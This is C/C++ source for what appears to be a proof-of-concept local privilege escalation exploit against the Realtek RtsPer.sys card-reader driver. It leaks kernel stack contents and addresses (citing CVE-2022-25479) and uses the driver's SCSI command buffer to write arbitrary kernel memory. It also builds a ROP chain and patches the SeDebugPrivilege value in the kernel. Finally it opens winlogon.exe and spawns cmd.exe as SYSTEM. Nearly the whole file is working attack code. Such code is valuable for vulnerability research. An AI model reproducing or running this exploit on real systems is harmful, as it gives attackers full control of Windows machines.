#define _CRT_SECURE_NO_WARNINGS #include #include #include #include #include #include #include #include #include #pragma comment( lib, "ntdll" ) #define SystemModuleInformation 0xb // // From wdm.h // #define PCI_TYPE0_ADDRESSES 6 #define PCI_TYPE1_ADDRESSES 2 #define PCI_TYPE2_ADDRESSES 5 #pragma comment (lib, "Setupapi.lib") #pragma warning (disable: 4703) typedef struct _PCI_COMMON_HEADER { USHORT VendorID; // (ro) USHORT DeviceID; // (ro) USHORT Command; // Device control USHORT Status; UCHAR RevisionID; // (ro) UCHAR ProgIf; // (ro) UCHAR SubClass; // (ro) UCHAR BaseClass; // (ro) UCHAR CacheLineSize; // (ro+) UCHAR LatencyTimer; // (ro+) UCHAR HeaderType; // (ro) UCHAR BIST; // Built in self test union { struct _PCI_HEADER_TYPE_0 { ULONG BaseAddresses[PCI_TYPE0_ADDRESSES]; ULONG CIS; USHORT SubVendorID; USHORT SubSystemID; ULONG ROMBaseAddress; UCHAR CapabilitiesPtr; UCHAR Reserved1[3]; ULONG Reserved2; UCHAR InterruptLine; // UCHAR InterruptPin; // (ro) UCHAR MinimumGrant; // (ro) UCHAR MaximumLatency; // (ro) } type0; // // PCI to PCI Bridge // struct _PCI_HEADER_TYPE_1 { ULONG BaseAddresses[PCI_TYPE1_ADDRESSES]; UCHAR PrimaryBus; UCHAR SecondaryBus; UCHAR SubordinateBus; UCHAR SecondaryLatency; UCHAR IOBase; UCHAR IOLimit; USHORT SecondaryStatus; USHORT MemoryBase; USHORT MemoryLimit; USHORT PrefetchBase; USHORT PrefetchLimit; ULONG PrefetchBaseUpper32; ULONG PrefetchLimitUpper32; USHORT IOBaseUpper16; USHORT IOLimitUpper16; UCHAR CapabilitiesPtr; UCHAR Reserved1[3]; ULONG ROMBaseAddress; UCHAR InterruptLine; UCHAR InterruptPin; USHORT BridgeControl; } type1; // // PCI to CARDBUS Bridge // struct _PCI_HEADER_TYPE_2 { ULONG SocketRegistersBaseAddress; UCHAR CapabilitiesPtr; UCHAR Reserved; USHORT SecondaryStatus; UCHAR PrimaryBus; UCHAR SecondaryBus; UCHAR SubordinateBus; UCHAR SecondaryLatency; struct { ULONG Base; ULONG Limit; } Range[PCI_TYPE2_ADDRESSES - 1]; UCHAR InterruptLine; UCHAR InterruptPin; USHORT BridgeControl; } type2; } u; } PCI_COMMON_HEADER, * PPCI_COMMON_HEADER; //SCSI commands used in the PoC constexpr UCHAR SD_CMD_READ_CAPACITY = 0x25; constexpr UCHAR SD_CMD_NO_SUCH_CMD = 0x30; //vendor-specific commands constexpr UCHAR SD_CMD_VNDR = 0xF0; //vendor-specific subcommand 0x0A constexpr UCHAR SD_CMD_VNDR_0A = 0x0A; //vendor-specific subcommand app command constexpr UCHAR SD_CMD_VNDR_APP = 0x10; //app command buffer subcommand constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF = 0xE0; //command buffer subcommands constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_INIT = 0x41; constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_ADDCMD = 0x42; constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_FETCH = 0x44; //code 0x2D2328 #define IOCTL_GET_LOG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x8CA, METHOD_BUFFERED, FILE_ANY_ACCESS) //code 0x2D2190 #define IOCTL_READ_PCI_CONFIG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x864, METHOD_BUFFERED, FILE_ANY_ACCESS) //code 0x2D2194 #define IOCTL_WRITE_PCI_CONFIG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x865, METHOD_BUFFERED, FILE_ANY_ACCESS) DEFINE_GUID(DevInterfaceGuid, 0xb6a6b22e, 0xd723, 0x4e95, 0xa5, 0x18, 0x6c, 0xbd, 0xbf, 0xa8, 0xcb, 0x61); typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; // I'm a lazy ass; I don't want to allocate memory manually. CHAR LogData[0x100000]; ULONGLONG krnlBase = 0; ULONG krnlSize = 0; typedef struct { ULONGLONG value; int count; } EntryType; ULONGLONG FindStuff(HANDLE hDevice) { constexpr SIZE_T ntAddr = 0x110; constexpr SIZE_T ScsiBufferLength = 0x300; constexpr DWORD NtAddrNoChangeMinimum = 0x100; struct { SCSI_PASS_THROUGH Spt; UCHAR Buffer[ScsiBufferLength]; } SptBuf; // // Leak the stack until the value of SystemBuffer remains the same for NtAddrNoChangeMinimum consecutive times. // DWORD Counter = 0; ULONG_PTR PrevBufferAddress = 0; DWORD BytesReturned; for (;;) { RtlZeroMemory(&SptBuf, sizeof(SptBuf)); SptBuf.Spt.Length = sizeof(SptBuf.Spt); SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0 SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_0A; //0x0A SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH); SptBuf.Spt.DataTransferLength = 0x300; BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError()); } else { PULONG_PTR p = (PULONG_PTR)(&SptBuf.Buffer[ntAddr]); printf("%p\n", *p); if (PrevBufferAddress == *p) { Counter++; } else { PrevBufferAddress = *p; Counter = 0; } } if (Counter >= NtAddrNoChangeMinimum) { printf("NtAddr at %p didn't change %d times\n", PrevBufferAddress, Counter); break; } } return PrevBufferAddress; } VOID DumpBuffer(PVOID Buffer, ULONG Length) { PUCHAR buf = (PUCHAR)Buffer; for (ULONG i = 0; i < Length; i += 0x10) { printf("%08lx ", i); // Print the offset // Print the hex representation for (ULONG j = 0; j < 0x10; ++j) { if (i + j < Length) { printf("%02x ", buf[i + j]); } else { printf(" "); // Padding for incomplete row } } // Print the ASCII representation printf(" "); for (ULONG j = 0; j < 0x10; ++j) { if (i + j < Length) { unsigned char c = buf[i + j]; printf("%c", isprint(c) ? c : '.'); } } printf("\n"); } } BOOL ReadAddressHex(PULONG_PTR OutAddress) { CHAR StrAddress[17]; BOOL r = FALSE; *OutAddress = 0; if (scanf("%16s", StrAddress) != 1) { printf("Input error\n"); return r; } r = TRUE; for (int i = 0; i < 16 && StrAddress[i] != '\0'; i++) { if (isxdigit(StrAddress[i]) == 0) { r = FALSE; break; } } *OutAddress = strtoull(StrAddress, nullptr, 16); return r; } HANDLE OpenRealtekDeivce() { HANDLE hDevice = INVALID_HANDLE_VALUE; HDEVINFO hDevInfo = SetupDiGetClassDevsW( &DevInterfaceGuid, nullptr, nullptr, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE ); if (hDevInfo == INVALID_HANDLE_VALUE) { printf("SetupDiGetClassDevsW failed: %d\n", GetLastError()); return INVALID_HANDLE_VALUE; } SP_DEVICE_INTERFACE_DATA InterfaceData; ZeroMemory(&InterfaceData, sizeof(SP_DEVICE_INTERFACE_DATA)); InterfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA); BOOL r = SetupDiEnumDeviceInterfaces( hDevInfo, nullptr, &DevInterfaceGuid, 0, &InterfaceData ); if (r == FALSE) { printf("SetupDiEnumDeviceInterfaces failed: %d\n", GetLastError()); SetupDiDestroyDeviceInfoList(hDevInfo); } DWORD RequiredSize = 0; SetupDiGetDeviceInterfaceDetailW( hDevInfo, &InterfaceData, 0, 0, &RequiredSize, 0 ); DWORD err = GetLastError(); if (err != ERROR_INSUFFICIENT_BUFFER) { printf("SetupDiGetDeviceInterfaceDetailW unexpected error: %d\n", err); SetupDiDestroyDeviceInfoList(hDevInfo); return INVALID_HANDLE_VALUE; } PSP_DEVICE_INTERFACE_DETAIL_DATA pDetailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)HeapAlloc(GetProcessHeap(), 0, RequiredSize); if (pDetailData) { pDetailData->cbSize = sizeof(*pDetailData); r = SetupDiGetDeviceInterfaceDetailW( hDevInfo, &InterfaceData, pDetailData, RequiredSize, &RequiredSize, 0); if (r == FALSE) { printf("SetupDiGetDeviceInterfaceDetailW failed: %d\n", GetLastError()); } else { hDevice = CreateFileW( pDetailData->DevicePath, 0x001201bf, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr ); if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFileW failed: %d\n", GetLastError()); } } } if (pDetailData != nullptr) { HeapFree(GetProcessHeap(), 0, pDetailData); } SetupDiDestroyDeviceInfoList(hDevInfo); return hDevice; } BOOL LeakKernelStack(HANDLE hDevice, PVOID Buffer, ULONG Length) { // // Leaks content from the stack of the request. // SCSI_PASS_THROUGH_DIRECT Sptd; RtlZeroMemory(&Sptd, sizeof(Sptd)); Sptd.Length = sizeof(Sptd); Sptd.Cdb[0] = SD_CMD_VNDR; Sptd.Cdb[1] = SD_CMD_VNDR_0A; Sptd.DataBuffer = Buffer; Sptd.DataTransferLength = Length; RtlFillMemory(Buffer, Length, 0xDD); DWORD BytesReturned; BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH_DIRECT, &Sptd, sizeof(Sptd), &Sptd, sizeof(Sptd), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT leak stack failed: %d\n", GetLastError()); } return r; } ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG pte_va = address >> 9; pte_va = pte_va | pte_start; pte_va = pte_va & (pte_start + 0x0000007ffffffff8); return pte_va; } ULONGLONG get_pml4_address_64(ULONGLONG pte_start) { ULONGLONG pml4_start = pte_start & 0x0000fff000000000; pml4_start = pml4_start | (pml4_start >> 9); pml4_start = pml4_start | (pml4_start >> 9); pml4_start = pml4_start | (pml4_start >> 9); pml4_start = pml4_start | 0xffff000000000000; return pml4_start; } ULONGLONG LeakQWORDAtOffset(HANDLE hDevice, ULONG offset) { // // Leaks content from the stack of the request. // SCSI_PASS_THROUGH_DIRECT Sptd; UCHAR Buffer[0x800] = {}; RtlZeroMemory(&Sptd, sizeof(Sptd)); Sptd.Length = sizeof(Sptd); Sptd.Cdb[0] = SD_CMD_VNDR; Sptd.Cdb[1] = SD_CMD_VNDR_0A; Sptd.DataBuffer = Buffer; Sptd.DataTransferLength = 0x600; RtlFillMemory(Buffer, 0x600, 0xDD); DWORD BytesReturned; BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH_DIRECT, &Sptd, sizeof(Sptd), &Sptd, sizeof(Sptd), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT leak stack failed: %d\n", GetLastError()); } ULONGLONG res = *(ULONGLONG*)(Buffer + offset); //printf("%p\n", res); return res; } VOID WriteKernelAddressByte(HANDLE hDevice, ULONG_PTR KernelAddress, UCHAR Value) { // // This PoC is a bit trickier than the others. The vulnerability allows writing to an arbitrary kernel address. // The write is relative to the SystemBuffer, so we need to know the address of SystemBuffer in advance. // To figure it out, we leak the stack using CVE-2022-25479 in an endless loop, extract the address of SystemBuffer each time, // and compare it to the value extracted at the previous iteration. // At some point the memory manager's determinism kicks in by allocating the same address for the SystemBuffer repeatedly. // Once we see that the address of the SystemBuffer hasn't changed, say, 256 times, it's safe to assume it won't change the 257th time. // // RtsPer.sys copies the output of the SCSI request to the SystemBuffer at the user-provided offset. // To write arbitrary data to kernel memory, we need to control the output of the request. // The easiest way to achieve this is to use the driver's command buffer controls, which allow writing data to the command buffer and fetching data from it. // To write the value to the target address, we first write it to the command buffer // and then fetch it back, providing an offset between the target address and the SystemBuffer. // // The offset of SystemBuffer in the stack dump differs across versions of the driver. constexpr SIZE_T SystemBufferStackOffset_RtsPer_10_0_16299_21305 = 0x230; constexpr SIZE_T ScsiBufferLength = 0x300; constexpr DWORD SystemBufferNoChangeMinimum = 0x100; struct { SCSI_PASS_THROUGH Spt; UCHAR Buffer[ScsiBufferLength]; } SptBuf; // // Leak the stack until the value of SystemBuffer remains the same for SystemBufferNoChangeMinimum consecutive times. // DWORD Counter = 0; ULONG_PTR PrevBufferAddress = 0; DWORD BytesReturned; for (;;) { RtlZeroMemory(&SptBuf, sizeof(SptBuf)); SptBuf.Spt.Length = sizeof(SptBuf.Spt); SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0 SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_0A; //0x0A SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH); SptBuf.Spt.DataTransferLength = 0x300; BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError()); } else { PULONG_PTR p = (PULONG_PTR)(&SptBuf.Buffer[SystemBufferStackOffset_RtsPer_10_0_16299_21305]); //printf("%p\n", *p); if (PrevBufferAddress == *p) { Counter++; } else { PrevBufferAddress = *p; Counter = 0; } } if (Counter >= SystemBufferNoChangeMinimum) { printf("SystemBuffer at %p didn't change %d times\n", PrevBufferAddress, Counter); break; } } // // Calculate the offset from the SystemBuffer to the target kernel address. // ULONG_PTR KernelAddressOffset = KernelAddress - PrevBufferAddress; // // Initialize the command buffer. // RtlZeroMemory(&SptBuf, sizeof(SptBuf)); SptBuf.Spt.Length = sizeof(SptBuf.Spt); SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0 SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP; //0x10 SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF; //0xE0 SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_INIT; //0x41 SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH); SptBuf.Spt.DataTransferLength = 0x4; BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError()); } else { printf("Command buffer initialized\n"); } // // Write the value we want to copy to the target address to the command buffer. // For simplicity, the PoC writes only 1 byte, but it's possible to write more than a byte with a single request. // RtlZeroMemory(&SptBuf, sizeof(SptBuf)); SptBuf.Spt.Length = sizeof(SptBuf.Spt); SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0 SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP; //0x10 SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF; //0xE0 SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_ADDCMD; //0x42 SptBuf.Spt.Cdb[8] = Value; r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError()); } else { printf("Command buffer written\n"); } // // Finally, fetch previously written data from the command buffer. // The data will be written to the target kernel address. // SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0 SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP; //0x10 SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF; //0xE0 SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_FETCH; //0x44 SptBuf.Spt.DataBufferOffset = KernelAddressOffset; SptBuf.Spt.DataTransferLength = 0x1; r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0); if (r == FALSE) { printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError()); } else { printf("Command buffer copied to the target address\n"); } } ULONG GetPidByName(const wchar_t* procname) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); ULONG pid; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (wcscmp(entry.szExeFile, procname) == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); return pid; } DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T size; BOOL ret; // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute ZeroMemory(&si, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &size); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( GetProcessHeap(), 0, size ); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); // Finally, create the process ret = CreateProcessA( NULL, command, NULL, NULL, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, reinterpret_cast(&si), &pi ); if (ret == false) { printf("Error creating new process (%d)\n", GetLastError()); return 3; } printf("Enjoy your new SYSTEM process\n"); return 0; } int main() { HANDLE hDevice = OpenRealtekDeivce(); if (hDevice == INVALID_HANDLE_VALUE) { return -1; } //these 2 needs to be filled in printf("muie\n"); ULONGLONG rtsbase = LeakQWORDAtOffset(hDevice, 0x40) - 0xa3ad8; printf("%p", rtsbase); printf("muie2\n"); LeakQWORDAtOffset(hDevice, 1168); printf("muie3\n"); //UCHAR StackContent[0x170] = {}; ULONGLONG fakestack_pivot = (ULONGLONG)rtsbase + 0x20bbc2; // 0x14003baf3: mov esp, 0x3B000020 ; ret ; (1 found) ULONGLONG allocation_addr = 0x3A000000; PVOID kThread = 0; ULONGLONG nt_base = 0; LPVOID fakestack = VirtualAlloc((LPVOID)allocation_addr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (fakestack == NULL) { printf("[!] Error while allocating memory for the input buffer: %d\n", GetLastError()); exit(1); } memset(fakestack, 0x90, 0x14000); //mov byte \[r..\]. cl //0x1400a70db: mov byte [r14], cl ; add rsp, 0x30 ; pop r14 ; ret ; (1 found) //0x14000320e: pop r14; ret; (1 found) //0x1400ee1d3: pop rcx; ret; (1 found) ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x00))[0] = (ULONGLONG)rtsbase + 0x0320e; //0x14000320e: pop r14; ret; (1 found) ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x08))[0] = (ULONGLONG)kThread + 0x232; // KTHREAD.PreviousMode ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x10))[0] = (ULONGLONG)rtsbase + 0xee1d3; // 0x1400ee1d3: pop rcx; ret; (1 found) ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x18))[0] = (ULONGLONG)rtsbase + 0xee1d3; // 0x1400ee1d3: pop rcx; ret; (1 found) ((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x20))[0] = (ULONGLONG)rtsbase + 0x0a70db; // mov byte [r14], cl ; add rsp, 0x30 ; pop r14 ; ret ; (1 found) /* printf("Leaking 0x80 bytes of kernel stack\n"); BOOL r = LeakKernelStack(hDevice, StackContent, 0x160); if (r == FALSE) { printf("Failed\n"); } else { printf("Succes, printing buffer:\n"); DumpBuffer(StackContent, 0x160); }*/ //LeakQWORDAtOffset(hDevice, 0x3e8); /* for (ULONG i = 1000; i < 0x600; i += 8) { ULONGLONG res = LeakQWORDAtOffset(hDevice, i); if ((res & 0xfffff80428400000) == 0xfffff80428400000) { printf("Found 0x%llx at offset %d\n", res, i); break; } }*/ ULONG len = 0; NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len); krnlBase = (ULONGLONG)pModuleInfo->Modules[0].ImageBaseAddress; krnlSize = pModuleInfo->Modules[0].ImageSize; ULONG index = 0; printf("please tell me the index to leak nt\n"); LeakQWORDAtOffset(hDevice, 0x110 - 72); nt_base = FindStuff(hDevice) - 0x3151af; printf("%p", nt_base); size_t SeDebugPrivilegeOffset = 0xD54A18; WriteKernelAddressByte(hDevice, nt_base + SeDebugPrivilegeOffset, 0x17); ULONG winlogonPid = GetPidByName(L"winlogon.exe"); printf("Winlogon pid: %d\n", winlogonPid); HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogonPid); HRESULT apa = GetLastError(); printf("%p", apa); CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe"); WriteKernelAddressByte(hDevice, nt_base + SeDebugPrivilegeOffset, 0x14); CloseHandle(hDevice); return 0; }